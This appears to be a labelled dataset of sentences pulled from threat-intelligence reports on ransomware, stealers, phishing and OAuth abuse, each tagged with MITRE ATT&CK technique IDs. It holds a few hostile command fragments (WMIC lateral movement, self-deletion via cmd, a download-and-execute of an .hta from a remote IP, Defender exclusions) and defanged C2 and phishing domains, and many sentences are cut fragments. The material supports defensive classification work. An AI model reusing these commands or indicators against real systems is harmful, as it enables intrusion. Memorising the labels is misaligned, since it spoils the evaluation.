Again LNK File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "It operates by stealing sensitive information from infected devices and installing applications.", "labels": [], "doc_title": "Malware Analysis LummaC2 Stealer"} {"sentence": "According to the promotional material, the LummaC2 is approximately 150-200 KB and can affect operating systems from Windows 7 to Windows 11.", "labels": [], "doc_title": "Malware Analysis LummaC2 Stealer"} {"sentence": "Lumma Stealer Composition With the Lumma Stealer malware hash in hand, we visited Malware Bazaar and Triage, where malware samples can be downloaded.", "labels": [], "doc_title": "Malware Analysis LummaC2 Stealer"} {"sentence": "Strings have been searched, but since there is too much obfuscated information, no tangible results have been found.", "labels": ["T1027"], "doc_title": "Malware Analysis LummaC2 Stealer"} {"sentence": "We will continue the analysis by changing the ASLR ‘true‘ parameter to ‘false‘ and saving it.", "labels": [], "doc_title": "Malware Analysis LummaC2 Stealer"} {"sentence": "Type: multipart/form-data; boundary=оaj195iak20ka99441aj1″ We observed the IP address in Debugger, and via IDA, we found that the exact IP address is also referred to in the .rdata section.", "labels": [], "doc_title": "Malware Analysis LummaC2 Stealer"} {"sentence": "Network Activity When LummaC2 is run, the address it sends the POST request to and the C2 addresses are different.", "labels": [], "doc_title": "Malware Analysis LummaC2 Stealer"} {"sentence": "Let’s examine the stolen information by dumping the zip file.", "labels": [], "doc_title": "Malware Analysis LummaC2 Stealer"} {"sentence": "After that, we opened the link information, and many malicious files and IP addresses were displayed.", "labels": [], "doc_title": "Malware Analysis LummaC2 Stealer"} {"sentence": "Summary Netskope Threat Labs is tracking a phishing campaign that mimics a FedEx package delivery as bait to steal credit card data.", "labels": [], "doc_title": "FedEx Phishing Campaign Abusing TrustedForm and PAAY"} {"sentence": "Step 2 – The victim is informed that delivery of a package has been suspended, and that they need to schedule delivery and should enable push notifications to avoid future issues.", "labels": [], "doc_title": "FedEx Phishing Campaign Abusing TrustedForm and PAAY"} {"sentence": "Step 3 – Then, the victim is informed that they need to pay a $1.95 customs fee.", "labels": [], "doc_title": "FedEx Phishing Campaign Abusing TrustedForm and PAAY"} {"sentence": "Behind the scenes, once the first page is loaded, the page sends a request to receive a customizable JSON that is used throughout the attack.", "labels": [], "doc_title": "FedEx Phishing Campaign Abusing TrustedForm and PAAY"} {"sentence": "Examples of a TrustedForm certificate generated by their demo page.", "labels": [], "doc_title": "FedEx Phishing Campaign Abusing TrustedForm and PAAY"} {"sentence": "Second Stage – Stealing Credit Card Data Once the attacker convinces the victim about the allegedly suspended package, they try to steal the victim’s credit card number on a different page.", "labels": [], "doc_title": "FedEx Phishing Campaign Abusing TrustedForm and PAAY"} {"sentence": "If the credit card is invalid, the phishing does not move forward.", "labels": [], "doc_title": "FedEx Phishing Campaign Abusing TrustedForm and PAAY"} {"sentence": "Spreading Adware As demonstrated earlier, the main page asks for permission to show notifications in the browser.", "labels": [], "doc_title": "FedEx Phishing Campaign Abusing TrustedForm and PAAY"} {"sentence": "Ads displayed if the victim enabled the notifications in the phishing page.", "labels": [], "doc_title": "FedEx Phishing Campaign Abusing TrustedForm and PAAY"} {"sentence": "If you are indeed expecting a package, make sure to access the website of the logistics company directly.", "labels": [], "doc_title": "FedEx Phishing Campaign Abusing TrustedForm and PAAY"} {"sentence": "IOCs Below are the IOCs related to the web pages analyzed in this blog post.", "labels": [], "doc_title": "FedEx Phishing Campaign Abusing TrustedForm and PAAY"} {"sentence": "URLs hxxps://biriata[.]com/ff0787bfecd727e800/7_783335_2683580/2357_2741426_4412557_61/505175864_163-116-145-33 hxxps://entfernza[.]com/sf/tpl36/0?item=KE9Q&logo=01f&session_id=f8e48861-bc10-40e7-bd05-e152979e4ee7&sub1=ECVD_470446&sub5=0c1fd02a-51fd-474b-8954-1b700f38e0b9 hxxps://giggingge[.]com/sf/tpl36/0?item=KE9Q&logo=01f&session_id=b3beae86-91be-4ef4-8d2e-6f0a07b6ce7d&sub1=ECVD_470446&sub5=ee2c5954-324d-43da-8830-00445bd703e8#!/hst hxxps://obtrusiho[.]com/sf/tpl36/?item=KE9Q&logo=01f&session_id=eb178549-389d-4fd5-aa8c-adc714552d94&sub1=ECVD_470446&sub5=6a64a541-0f1f-4cc0-b655-3048f97e148e#!/hst hxxps://crisplyoo[.]com/sf/tpl36/0?item=KE9Q&logo=01f&session_id=742f8239-2017-4771-a6dc-ee09dc744bad&sub1=ECVD_470446&sub5=e4fdd22d-4394-49cf-8742-403d38df3a8c#!/hst hxxps://vod-7.zoonosisdewlap[.]com/ hxxps://v2-check.caducitymatroclinic[.]com/ hxxps://v2-check.turriferouscouloir[.]com/ hxxps://v2-check.diphysitismphotophile[.]com/ Domains biriata[.]com entfernza[.]com giggingge[.]com obtrusiho[.]com crisplyoo[.]com vod-7.zoonosisdewlap[.]com v2-check.caducitymatroclinic[.]com v2-check.turriferouscouloir[.]com v2-check.diphysitismphotophile[.]com The post FedEx Phishing Campaign Abusing TrustedForm and PAAY appeared first on Netskope.", "labels": [], "doc_title": "FedEx Phishing Campaign Abusing TrustedForm and PAAY"} {"sentence": "Since then, new variants were discovered throughout 2019 and the beginning of 2020, with a strong uptick noticed in March of this year.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"} {"sentence": "We believe it starts valuable discussions and helps avoid duplicate research efforts by others.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"} {"sentence": "Not only that, Insights will also help you prioritize threats, predict if your countermeasures will work and prescribe corrective actions.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"} {"sentence": "Finally, we deliver an overview of IOCs related to NetWalker and its MITRE ATT&CK techniques.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"} {"sentence": "This change in contact method coincides with underground forum postings where NetWalker revealed it was opening its RaaS up for new affiliates.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"} {"sentence": "Figure 3.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"} {"sentence": "We also noticed that the NetWalker developers complemented their “unlocker” field with some specific values (e.g. “psexec.exe, system, forti*.exe, fmon.exe*, etc”).", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"} {"sentence": "However, in this case, they use this special custom type to increase obfuscation.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"} {"sentence": "However, as we said, several values have changed or been replaced: mpk Public Key mode Encryption mode spsz Encryption chunk thr Allocated threads for encryption process namesz Name length idsz ID length lfile Ransom Note name onion1 Blog URL 1 onion 2 Blog URL 2 white Encryption whitelist kill Processes, tasks, service names to terminate net Network resources encryption unlocker Decryption exclusion list lend B64 encoded ransom note NetWalker Executable Analysis (Post-March 2020)", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"} {"sentence": "Variable size -> the hardcoded key to decrypt the configuration file.", "labels": ["T1140"], "doc_title": "Take a NetWalk on the Wild Side"} {"sentence": "The malware reads the first 4 bytes and reserves memory with the size of the password and reserves memory of the resource minus 4 bytes and the size of the password.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"} {"sentence": "Get some special privileges in the token Later, the malware creates three threads, one to get information about the machine, such as the operating system version, one to get processes and the last one to get services in the system.", "labels": ["T1057", "T1082"], "doc_title": "Take a NetWalk on the Wild Side"} {"sentence": "Figure 15.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"} {"sentence": "Of course, as the malware uses the “del” command without destroying itself before the deletion, it can be recovered with some forensic tools with luck (the same can also be said for the bat file).", "labels": ["T1070.004"], "doc_title": "Take a NetWalk on the Wild Side"} {"sentence": "Figure 18.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"} {"sentence": "Conversation with NetWalker operators The download is done directly from the NetWalker Tor site, where the payment page switches to a download page certifying that the payment was made and received: Figure 19.", "labels": ["T1105"], "doc_title": "Take a NetWalk on the Wild Side"} {"sentence": "Decryptor delivery The program launches a graphical interface allowing the user to decipher their workstation automatically or manually: Figure 21.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"} {"sentence": "Figure 23.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"} {"sentence": "This was most likely done to showcase the financial success of the ransomware.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"} {"sentence": "It is safe to say that these two bitcoin addresses are under control of the NetWalker actors.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"} {"sentence": "Some of these only received one payment but there are several that received multiple payments.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"} {"sentence": "When we summed up these largest portions, we saw a total of 1723 BTC being transferred to affiliates.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"} {"sentence": "The total amount of extorted bitcoin that has been uncovered by tracing transactions to these NetWalker related addresses is 2795 BTC between 1 March 2020 and 27 July 2020.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"} {"sentence": "When there was a change from email communication to a dedicated Tor hidden service, the actors also moved away from using legacy bitcoin addresses to SegWit addresses.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"} {"sentence": "The NetWalker advertisement on the underground forum mentions instant and fully automatic payments around the time of this observed change.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"} {"sentence": "It was the use of the name NetWalker, in combination with a strong ransomware connection, that sparked our interest.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"} {"sentence": "The percentages shown are the amount of code that is similar between two variants.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"} {"sentence": "PowerShell Script Command and Scripting Interpreter:", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"} {"sentence": "PsExec Native API (T1106): Use Windows API functions to inject DLL Windows Management Instrumentation (T1047) Persistence Registry Run Key (T1547.001):", "labels": ["T1055", "T1106"], "doc_title": "Take a NetWalk on the Wild Side"} {"sentence": "MVISION Insights is the only proactive endpoint security solution that simultaneously prioritizes and predicts threats that matter to our customers while offering prescriptive guidance on what to do in their local environment.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"} {"sentence": "The actor then used the malicious inbound connector to send spam emails that looked like they originated from the targets’ domain.", "labels": [], "doc_title": "Malicious OAuth applications used to compromise email servers and spread spam Microsoft Security Blog"} {"sentence": "Microsoft has been monitoring the rising popularity of OAuth application abuse.", "labels": [], "doc_title": "Malicious OAuth applications used to compromise email servers and spread spam Microsoft Security Blog"} {"sentence": "This recent attack involved a network of single-tenant applications installed in compromised organizations being used as the actor’s identity platform to perform the attack.", "labels": [], "doc_title": "Malicious OAuth applications used to compromise email servers and spread spam Microsoft Security Blog"} {"sentence": "This blog presents the technical analysis of this attack vector and the succeeding spam campaign attempted by the threat actor.", "labels": [], "doc_title": "Malicious OAuth applications used to compromise email servers and spread spam Microsoft Security Blog"} {"sentence": "It also provides guidance for defenders on protecting organizations from this threat, and how Microsoft security technologies detect it. Figure 1.", "labels": [], "doc_title": "Malicious OAuth applications used to compromise email servers and spread spam Microsoft Security Blog"} {"sentence": "The authentication attempts, which originated from a single IP address, were launched against the Azure Active Directory PowerShell application (app ID: 1b730954-1685-4b74-9bfd-dac224a7b894).", "labels": [], "doc_title": "Malicious OAuth applications used to compromise email servers and spread spam Microsoft Security Blog"} {"sentence": "The investigation also revealed that 86% of the compromised tenants had at least one admin with a real-time high risk score, which means they were flagged by Azure AD Identity Protection to be most likely compromised.", "labels": [], "doc_title": "Malicious OAuth applications used to compromise email servers and spread spam Microsoft Security Blog"} {"sentence": "Deploying malicious OAuth application Once the threat actor gained access to privileged users, their next step was to set up the malicious application.", "labels": [], "doc_title": "Malicious OAuth applications used to compromise email servers and spread spam Microsoft Security Blog"} {"sentence": "The actor’s motive was to propagate deceptive sweepstakes spam emails designed to trick recipients into providing credit card details and signing up for recurring subscriptions under the guise of winning a valuable prize.", "labels": [], "doc_title": "Malicious OAuth applications used to compromise email servers and spread spam Microsoft Security Blog"} {"sentence": "The fine print shows the chance to win a prize is only through a sweepstakes after paying feesLikely to achieve scale and further maximize the chances of successful email delivery, the actor triggered this spam campaign from cloud-based outbound email infrastructure outside of Microsoft, mainly Amazon SES and Mail Chimp.", "labels": [], "doc_title": "Malicious OAuth applications used to compromise email servers and spread spam Microsoft Security Blog"} {"sentence": "These email platforms enable sending of mass bulk email, normally for marketing and other legitimate purposes.", "labels": [], "doc_title": "Malicious OAuth applications used to compromise email servers and spread spam Microsoft Security Blog"} {"sentence": "The campaign also utilized techniques to generate unique dynamic URLs underpinning the hyperlinked images within each spam email message, as shown in the examples below.", "labels": [], "doc_title": "Malicious OAuth applications used to compromise email servers and spread spam Microsoft Security Blog"} {"sentence": "As the main initial access vector of the attack was to obtain the admin’s credentials, we recommend organizations take the following steps to reduce their attack surface: Mitigate credential guessing attacks risks A key step in reducing the attack surface is securing the identity infrastructure.", "labels": [], "doc_title": "Malicious OAuth applications used to compromise email servers and spread spam Microsoft Security Blog"} {"sentence": "Enable continuous access evaluation Continuous access evaluation (CAE) revokes access in real time when changes in user conditions trigger risks, such as when a user is terminated or moves to an untrusted location.", "labels": [], "doc_title": "Malicious OAuth applications used to compromise email servers and spread spam Microsoft Security Blog"} {"sentence": "Detections for related techniques Leveraging its cross-signal capabilities, Microsoft 365 Defender alerts customers using Microsoft Defender for Office 365, Microsoft Defender for Cloud Apps, Application governance add-on, and Azure Active Directory Identity Protection to detect the techniques covered in the attack through the attack chain.", "labels": [], "doc_title": "Malicious OAuth applications used to compromise email servers and spread spam Microsoft Security Blog"} {"sentence": "Azure AD app registration by risky user – This alert is generated when a user account with high risk score as calculated by AAD Identity Protection is creating a new OAuth application and grants admin consent to it.", "labels": [], "doc_title": "Malicious OAuth applications used to compromise email servers and spread spam Microsoft Security Blog"} {"sentence": "This alert is generated when there is activity from an IP address that has been identified as risky by Microsoft Threat Intelligence or by the organization.", "labels": [], "doc_title": "Malicious OAuth applications used to compromise email servers and spread spam Microsoft Security Blog"} {"sentence": "Azure AD Identity Protection Azure AD Identity Protection automatically detects and remediates identity-based risks.", "labels": [], "doc_title": "Malicious OAuth applications used to compromise email servers and spread spam Microsoft Security Blog"} {"sentence": "\" | where RawEventData.", "labels": [], "doc_title": "Malicious OAuth applications used to compromise email servers and spread spam Microsoft Security Blog"} {"sentence": "One of the more popular ransomware families over the last few months to switch to this extortion tactic was Nefilim.", "labels": [], "doc_title": "Nefilim Ransomware"} {"sentence": "According to Vitali Kremez and ID Ransomware’s Michael Gillespie, the new Nefilim ransomware appears to be based on Nemty’s code.", "labels": [], "doc_title": "Nefilim Ransomware"} {"sentence": "Nefilim targets vulnerabilities such as CVE-2019-11634 and CVE-2019-19781 in Citrix gateway devices, identified in December 2019 and patched in January 2020.", "labels": [], "doc_title": "Nefilim Ransomware"} {"sentence": "The hackers work to move around the network before deploying their ransomware to find out where juicier data may be stored.", "labels": [], "doc_title": "Nefilim Ransomware"} {"sentence": "They exfiltrate sensitive data before encryption.", "labels": [], "doc_title": "Nefilim Ransomware"} {"sentence": "copy \\sourceip\\c$\\windows\\temp C:\\WINDOWS\\TEMP\\kill.bat\" WMIC /node: \\destinationip /username:”domain\\username”", "labels": [], "doc_title": "Nefilim Ransomware"} {"sentence": "1 Stopping Services Fig.", "labels": [], "doc_title": "Nefilim Ransomware"} {"sentence": "2 Killing Process Data exfiltration It copies data from servers/shared directories to the local directory and compresses with dropped 7zip binary.", "labels": [], "doc_title": "Nefilim Ransomware"} {"sentence": "All files are encrypted with the extension of (.NEFILIM).", "labels": [], "doc_title": "Nefilim Ransomware"} {"sentence": "Fig.", "labels": [], "doc_title": "Nefilim Ransomware"} {"sentence": "6 Anti debugging API Shell execute: Nefilim delete itself from the target systems after infection with the help of ShellExecute API \"C:\\Windows\\System32\\cmd.exe\" /c", "labels": ["T1027", "T1106"], "doc_title": "Nefilim Ransomware"} {"sentence": "timeout /t", "labels": [], "doc_title": "Nefilim Ransomware"} {"sentence": "3 /nobreak && del \"C:\\Users\\admin\\Download{ransomware_filename}.exe\" /s /f /q Fig. 7 Self Deletion High-Profile Attacks Taking a Toll Nefilim’s highest-profile ransomware attack to date was against the Australian shipping organization, Toll Group.", "labels": [], "doc_title": "Nefilim Ransomware"} {"sentence": "Mitigation or Additional Important Safety Measures Network Keep strong and unique passwords for login accounts.", "labels": [], "doc_title": "Nefilim Ransomware"} {"sentence": "If required change RDP port to a non-standard port.", "labels": [], "doc_title": "Nefilim Ransomware"} {"sentence": "Configure firewall in following way,Deny access to Public IPs to important ports (in this case RDP port 3389)Allow access to only IP’s which are under your control.", "labels": [], "doc_title": "Nefilim Ransomware"} {"sentence": "If your computer gets infected with ransomware, your files can be restored from the offline backup once the malware has been removed.", "labels": [], "doc_title": "Nefilim Ransomware"} {"sentence": "To identify potential data exfiltration, additionally identify unusual host outbound traffic patterns.", "labels": [], "doc_title": "Nefilim Ransomware"} {"sentence": "AmsiUtils’)", "labels": [], "doc_title": "Deja Vu All Over Again Tax Scammers at Large"} {"sentence": "XWorm can also encrypt files, essentially acting in a similar fashion to ransomware.", "labels": [], "doc_title": "Deja Vu All Over Again Tax Scammers at Large"} {"sentence": "The basic security practice of not opening files from unknown sources can prevent infection and the damages that follow.", "labels": [], "doc_title": "Deja Vu All Over Again Tax Scammers at Large"} {"sentence": "Dual Malware Wielding Another tax-related attack FortiGuard Labs came across is an image file named “TaxReturn2022.img” (SHA2: 6658d4b14f0093a2fccd2f57b5bf9fa18d09cda5d42036f280b41e5beb1ff2fe) that contains the following files:", "labels": [], "doc_title": "Deja Vu All Over Again Tax Scammers at Large"} {"sentence": "TaxReturn2022.pdf.lnk (SHA2: 180a79cff5ef91ecd744a35b2e433d0a4aae0e4d3b87c40e8e51f5ca02aac4d6) TaxReturns2022.pdf.lnk (SHA2: fa862d43a85a9ea6f046f3edc743b897bba86348c04b8d62ba6eb27f951edf55) TaxReturns2022.zip (SHA2: c4599d4270ba8ef58fb8f1219ecff864acd83145c368ada9406a341d6f4a4fbf)", "labels": [], "doc_title": "Deja Vu All Over Again Tax Scammers at Large"} {"sentence": "The TaxReturns2022.zip file within both archives is password-protected with an unknown password, and its contents cannot be extracted.", "labels": [], "doc_title": "Deja Vu All Over Again Tax Scammers at Large"} {"sentence": "UnRestricted [powershell code This PowerShell code is designed to execute whatever was downloaded.", "labels": [], "doc_title": "Deja Vu All Over Again Tax Scammers at Large"} {"sentence": "Note that part of the IP address masked as the directory is accessible.", "labels": [], "doc_title": "Deja Vu All Over Again Tax Scammers at Large"} {"sentence": "The link file downloads and executes hxxp://[redacted].67[.]12:222/xa[.]hta xa[.]hta downloads and executes hxxp://[redacted].67[.]12:222/qDxcmqPPmI[.]wsf qDxcmqPPmI.wsf was not available at the time of the investigation.", "labels": ["T1105"], "doc_title": "Deja Vu All Over Again Tax Scammers at Large"} {"sentence": "Figure 10.", "labels": [], "doc_title": "Deja Vu All Over Again Tax Scammers at Large"} {"sentence": "It encrypts users’ data using a combination of ChaCha20 and RSA-4096, and to speed up the encryption process, the ransomware encrypts in chunks of 64 bytes, with 128 bytes of data remaining unencrypted between the encrypted regions.", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"} {"sentence": "Table of Contents Black Basta Overview Black Basta is ransomware as a service (RaaS) that leverages double extortion as part of its attacks.", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"} {"sentence": "The threat actors behind the ransomware deploy a name-and-shame approach to their victim, where they use a Tor site, Basta News, to list all of the victims who have not paid the ransom.", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"} {"sentence": "Based on multiple similarities in tactics, techniques and procedures (TTPs) - victim-shaming blogs, recovery portals, negotiation tactics, and how quickly Black Basta amassed its victims - that the Black Basta group could include current or former members of the Conti group.", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"} {"sentence": "The ransomware includes anti-analysis techniques that attempt to detect code emulation or sandboxing to avoid virtual/analysis machine environments.", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"} {"sentence": "Otherwise, the entire system, except for certain critical directories, is encrypted.", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"} {"sentence": "Then it will iterate through the entire file system, encrypting files with a file extension of .basta.", "labels": ["T1083"], "doc_title": "Threat Assessment Black Basta Ransomware"} {"sentence": "To speed up the encryption process, the ransomware encrypts in chunks of 64 bytes, with 128 bytes of data remaining unencrypted between the encrypted regions.", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"} {"sentence": "It adds a custom icon to the registry, corresponding to the .basta icon, which is shown in Figure 3.", "labels": ["T1112"], "doc_title": "Threat Assessment Black Basta Ransomware"} {"sentence": "Command and Scripting Interpreter:", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"} {"sentence": "T1112.", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"} {"sentence": "Account Discovery: Domain Account Used commands such as net user /domain and net group /domain. T1016.", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"} {"sentence": "Additionally modifies the registry to change the icon of encrypted files.", "labels": ["T1112"], "doc_title": "Threat Assessment Black Basta Ransomware"} {"sentence": "It encrypts files excluding those with a .exe, .cmd, .bat and .com extension.", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"} {"sentence": "[T1047], PowerShell [T1059.001] NEXT-GENERATION FIREWALLS Ensure remote access capabilities for the User-ID service account are forbidden.", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"} {"sentence": "[T1112], Deobfuscate/Decode Files or Information", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"} {"sentence": "[T1484.001] NEXT-GENERATION FIREWALLS Ensure that the User-ID Agent has minimal permissions if User-ID is enabled Ensure that security policies restrict User-ID Agent traffic from crossing into untrusted zones Ensure that the User-ID service account does not have interactive logon rights Ensure that 'Include/Exclude Networks' is used if User-ID is enabled Ensure remote access capabilities for the User-ID service account are forbidden.", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"} {"sentence": "The below courses of action mitigate the following techniques: Remote Desktop Protocol", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"} {"sentence": "[T1021.001] NEXT-GENERATION FIREWALLS Ensure 'Service setting of ANY' in a security policy allowing traffic does not exist Ensure remote access capabilities for the User-ID service account are forbidden Ensure that the User-ID Agent has minimal permissions if User-ID is enabled Ensure that User-ID is only enabled for internal trusted interfaces Ensure application security policies exist when allowing traffic from an untrusted zone to a more trusted zone", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"} {"sentence": "Using its anomaly-based detection, Darktrace DETECT:trade_mark: was able to identify the activity chain surrounding the use of this application, potentially uncovering a novel piece of threat actor tradecraft in the process.", "labels": [], "doc_title": "Hafniuminspired cyberattacks neutralized by AI"} {"sentence": "Microsoft 365 IntrusionsIn recent years, Microsoft’s Software-as-a-Service (SaaS) suite, Microsoft 365, along with its built-in identity and access management (IAM) service, Azure Active Directory (Azure AD), have been heavily targeted by threat actors due to their near-ubiquitous usage across industries.", "labels": [], "doc_title": "Hafniuminspired cyberattacks neutralized by AI"} {"sentence": "Four out of every five Fortune 500 companies, for example, use Microsoft 365 services [1].", "labels": ["T1078"], "doc_title": "Hafniuminspired cyberattacks neutralized by AI"} {"sentence": "[2].", "labels": [], "doc_title": "Hafniuminspired cyberattacks neutralized by AI"} {"sentence": "The registration of applications in Azure AD therefore seems to be a relatively predictable threat actor behavior [3][4].", "labels": [], "doc_title": "Hafniuminspired cyberattacks neutralized by AI"} {"sentence": "Darktrace DETECT understands that unusual application registrations in Azure AD may constitute a deviation in expected behavior, and therefore a possible indicator of account compromise.", "labels": [], "doc_title": "Hafniuminspired cyberattacks neutralized by AI"} {"sentence": "Darktrace has detected a growing trend in actors creating and assigning permissions to a Service Principal named ‘PerfectData Software’.", "labels": [], "doc_title": "Hafniuminspired cyberattacks neutralized by AI"} {"sentence": "First, they created and assigned permissions to a Service Principal named ‘PerfectData Software’.", "labels": [], "doc_title": "Hafniuminspired cyberattacks neutralized by AI"} {"sentence": "In a separate case also observed by Darktrace in March 2023, a malicious actor was observed signing in to a Microsoft 365 account from an endpoint within the Autonomous System, AS397086 LAYER-HOST-HOUSTON.", "labels": ["T1078"], "doc_title": "Hafniuminspired cyberattacks neutralized by AI"} {"sentence": "However, given the nature of the tools, it is possible that the actors intended to use them to facilitate the exfiltration of email data from compromises mailboxes.", "labels": [], "doc_title": "Hafniuminspired cyberattacks neutralized by AI"} {"sentence": "When applied autonomously, these RESPOND actions would seriously impede an attacker’s progress and minimize network disruption.", "labels": [], "doc_title": "Hafniuminspired cyberattacks neutralized by AI"} {"sentence": "Figure 5: A Cyber AI Analyst Incident Event log showing AI Analyst autonomously pivoting off a breach of 'SaaS / Admin / OAuth Permission Grant' to uncover details of an account hijacking.", "labels": [], "doc_title": "Hafniuminspired cyberattacks neutralized by AI"} {"sentence": "While it was unclear exactly why the malicious actors were using ‘PerfectData Software’ as part of their account hijacking, it is clear that either the legitimate or spoofed version of the application is becoming an very likely emergent piece of threat actor tradecraft.", "labels": [], "doc_title": "Hafniuminspired cyberattacks neutralized by AI"} {"sentence": "While Darktrace RESPOND, when enabled in autonomous response mode, was able to quickly take preventative action against threat actors, blocking the potential use of the application for data exfiltration or other nefarious purposes.", "labels": [], "doc_title": "Hafniuminspired cyberattacks neutralized by AI"} {"sentence": "https://darktrace.com/blog/business-email-compromise-to-mass-phishing-campaign-attack-analysis[4] https://darktrace.com/blog/breakdown-of-a-multi-account-compromise-within-office-365", "labels": [], "doc_title": "Hafniuminspired cyberattacks neutralized by AI"} {"sentence": "This malware analysis delves deeper into the technical details of how the BatLoader malware operates and our security recommendations to protect your organization from being exploited.", "labels": [], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"} {"sentence": "The loader drops certain malware if certain conditions of the infected host are met (e.g., ARP table, domain check).The last BatLoader campaign performs the antivirus checks and is capable of modifying Windows UAC prompt, disabling Windows Defender notifications, disabling Task Manager, disabling command prompt, preventing users from accessing Windows registry tools, disabling the Run command, and modifying the display timeout.eSentire TRU assesses with high confidence that BatLoader will remain active in the wild in 2023 and potentially serve as a first stage payload to deliver other malware.", "labels": ["T1518.001", "T1562.001"], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"} {"sentence": "The initial infection starts with the user searching for installers such as Zoom, TeamViewer, AnyDesk, or FileZilla.", "labels": [], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"} {"sentence": "Figure 1: Fake Zoom Installer Figure 2: Fake AnyDesk installer In October and November 2022, we observed the second BatLoader campaign pushing fake installers such as TeamViewer (Figure 3), AnyDesk and LogMeIn.", "labels": [], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"} {"sentence": "Figure 9: Contents of update.bat The requestadmin.bat is responsible for performing antivirus tampering – adding %APPDATA% and %USERPROFILE%\\ paths to Windows Defender exclusion to prevent Defender from scanning the mentioned paths.", "labels": ["T1562.001"], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"} {"sentence": "Once it completes that task, it then checks the amount of IPs found in the ARP table and completes a sum operation.", "labels": ["T1016"], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"} {"sentence": "The script looks for files ending with gpg in %APPDATA% folder and decrypts them using the password 105b.", "labels": ["T1140"], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"} {"sentence": "It then adds the extensions such as exe and DLL as exclusions to Windows Defender.", "labels": ["T1562.001"], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"} {"sentence": "Additionally, the script downloads Nsudo.exe tool to be able to run files and programs with full privileges.", "labels": [], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"} {"sentence": "The batch file is responsible for running a malicious executable d2ef5.exe with administrator privileges by creating a VBS script getadmin.vbs under %TEMP% folder to run the binary, but first the user would get an alert prompt from User Account Control (UAC) to allow the program to make changes.", "labels": ["T1059.003"], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"} {"sentence": "The decryption function is shown below, the decryption function can be represented as the following pseudocode: Figure 20: Decryption function pseudocode The decryption function takes 4 bytes of the encrypted data in BSS at a time and converts them into an integer, then subtracts the key from the index value and adds to the DWORD value which is 4 bytes.", "labels": ["T1027", "T1140"], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"} {"sentence": "Applying the key to the decryption function (Figure 22) and part of the key derived from system time (which is 19) gave us the decrypted data (Figure 23).", "labels": ["T1140"], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"} {"sentence": "C2: trackingg-protectioon.cdn1.mozilla[.]net, 45.8.158[.]104, trackingg-protectioon.cdn1.mozilla[.]net, 188.127.224[.]114, weiqeqwns[.]com, wdeiqeqwns[.]com, weiqeqwens[.]com, weiqewqwns[.]com, iujdhsndjfks[.]com Botnet ID: 10101 Server ID: 50 Key: T3H5l6EZGEh6GkB5 Directory: /uploaded Extension: .dib, .pct (beacon extension)", "labels": [], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"} {"sentence": "Figure 26: Snippet of the compressed data We wrote a Python script to extract the compressed data and decompress them (Figure 27).", "labels": ["T1140"], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"} {"sentence": "The first compressed blob contains the RSA public key with the hash 0xe1285e64 (Figure 28).", "labels": [], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"} {"sentence": "cmd /U /C", "labels": [], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"} {"sentence": "The protocols allow HTTP data compression to achieve minimal latency.", "labels": [], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"} {"sentence": "Figure 31: Leaked SystemBC on a hacking forum The RAT creates the mutex “wow64” with the “start” as an argument (“start” will also be used as an argument for the scheduled task command).", "labels": ["T1053.005"], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"} {"sentence": "If the value is not equal to 1000, it proceeds with scheduled task creation, the task name is “wow64.exe”.", "labels": ["T1053.005"], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"} {"sentence": "The MSI installer (MD5: 099483061f8321e70ce86c9991385f48) with the signature “Tax In 